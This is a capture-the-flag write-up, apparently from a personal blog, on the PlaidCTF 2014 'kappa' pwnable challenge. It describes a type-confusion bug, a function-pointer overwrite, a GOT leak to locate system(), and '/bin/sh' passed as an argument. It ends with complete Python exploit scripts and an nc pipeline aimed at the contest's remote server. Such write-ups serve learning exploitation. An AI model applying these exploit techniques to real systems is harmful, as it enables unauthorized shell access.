본문 바로가기

Games/CTF

PlaidCTF 2014 kappa

Task : kappa (Pawnable 275pt)

Time Spent : More Than a Day [Solved After Game Over :( ]


I failed to solve this task. however after the game is over, I read up other team's write up and completed the exploit. The task provides a console based Pokemon game. After analyzing the binary, we can find a UAF (Use After Free) bug from the pokemon object allocation algorithm. We could use the freed pokemon object. However, the UAF bug was not used for exploitation.  More severe bug was that when the captured pokemon object is replaced with existing one, there was a simple mistake.  As we can see below, the ptr_malloc[i] is updated to the newly captured object, but the dword_804BFC0[i](This array has the information of pokemon object type) is not updated.  Obviously, there is a information update mismatch in this algorithm. Using this bug, we can change the type of pokemon object, and make the location of function pointers to be resolved from the pokemon data memory region. Note that the we can arbitrarily change the pokemon data contents (menu 5).

OK, It is somewhat complicated but anyway... using this bug, we can overwrite the function pointer and data pointer inside a pokemon object. After overwriting these pointers, we will invoke menu 3 to reference those pointers (our maliciously crafted pointers).

If we overwrite the function pointer to 0x41414141 and select menu 3 (which invokes the function pointer) we get this...

Good...! we can control the EIP :)

The function pointer we can overwrite has a pointer parameter which is the pokemon object address from the heap. This is important because we can control the first part of this object(name of pokemon).  Therefore if we change this function pointer to "system" and invoke it, we can also pass the parameter string whatever we want (its name of the pokemon, we can set it to "/bin/sh"). Now all we gotta do is figuring out the libc address of system.  This was the part I got stuck...

Anyway the solution is... using the data pointer to dump the GOT contents, and then overwriting the function pointer to system.  From the original function pointer of pokemon object, we can see this...

The last _printf function is printing a memory location obtained from [EAX+0x20Ch].  Actually this location reside inside the pokemon object which we can manipulate!! so, if we manipulate this pointer to GOT address, we can dump the GOT like this.

[GOT dump from local environment]

[GOT dump from remote server]

At this point, we know the first GOT entry address (read). So, to calculate system, all we need to know is the libc version. The kappa comment section has this...


GCC: (Debian 4.7.2-5) 4.7.2GCC: (Debian 4.4.7-2) 4.4.7.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.


This information tells us the exact OS version. Therefore we can get the server side libc binary.  With the libc binary, we can calculate the relative offset between read() and system(). it was 0x8B500 (read - system = 0x8b500). Using this offset, we can dynamically calculate the address of system.  After getting the system address, it was matter of time getting the shell..!

[Getting shell from local environment]

[Getting shell from remote server]


Flag : Start_Start_Start_Start_Kapppa


P.S.

I was building socket programmed python exploit, but it was pain in the ass since the recv, send buffer was difficult to control... (because of the few seconds of time delays from the server). Of course it is possible to make socket programmed python exploit, but I am not so good at python socket programming so... I used linux I/O redirection... anyway not important.


Final Exploit. (I/O redirection)

# Exploit 1. save this python output into file "a"

from socket import *

from struct import *

import sys, os, fcntl, time, base64, ctypes

ptr = 0x8048512

ret = 0x8048766

payload = 'A'*509

payload += pack('<I', ptr)

payload += pack('<I', ret)

payload += 'B'*1610 + '\n'

name1 = 'A'*14 + '\n\n'

name2 = 'B'*14 + '\n\n'

name3 = 'C'*14 + '\n\n'

name4 = 'D'*14 + '\n\n'

name5 = '/bin/sh\n\n\n\n\n\n\n'

get = '1\n1\n2\n'

dump = '1\n1\n3\n'

fight = '2\n1\n2\n1\n2\n1\n2\n1\n2\n'

exp = ''

exp += get

exp += name1

exp += get

exp += name2

exp += get

exp += name3

exp += get

exp += name4 # slot full

exp += dump

exp += dump # dump two kappa

exp += '1\n'

exp += fight # fight!

exp += name5

exp += '2\n' # alternative slot(2)

exp += '5\n' # set exploit payload

exp += '2\n' # UAF payload

exp += payload

exp += '3\n' # trigger exploit

sys.stdout.write( exp )


# Exploit 2. After calculating the system address, save this python output into file "b"

from socket import *

from struct import *

import sys, os, fcntl, time, base64, ctypes

system = 0xB75CE990 # Fill in this address after calculating system()!!

payload = 'A'*513

payload += pack('<I', system)

payload += 'B'*1610 + '\n'

exp = ''

exp += '5\n' # set exploit payload

exp += '2\n' # UAF payload

exp += payload

exp += '3\n' # trigger exploit

sys.stdout.write( exp )


// stop.c - Stop between giving the input a and b

root@ubuntu:/var/www/ctf/plaidctf# cat stop.c

#include <stdio.h>

int main(){

getchar();

return 0;

}


# (cat a;./stop;cat b;cat) | nc 54.80.112.128 1313 | hexdump -C




'Games > CTF' 카테고리의 다른 글

DEFCON 2014 bbgp writeup  (2) 2014.05.21
DEFCON 2014 byhd writeup  (0) 2014.05.21
PlaidCTF 2014 ezhp  (5) 2014.04.15
PlaidCTF 2014 tenement  (0) 2014.04.15
PlaidCTF 2014 hudak  (0) 2014.04.14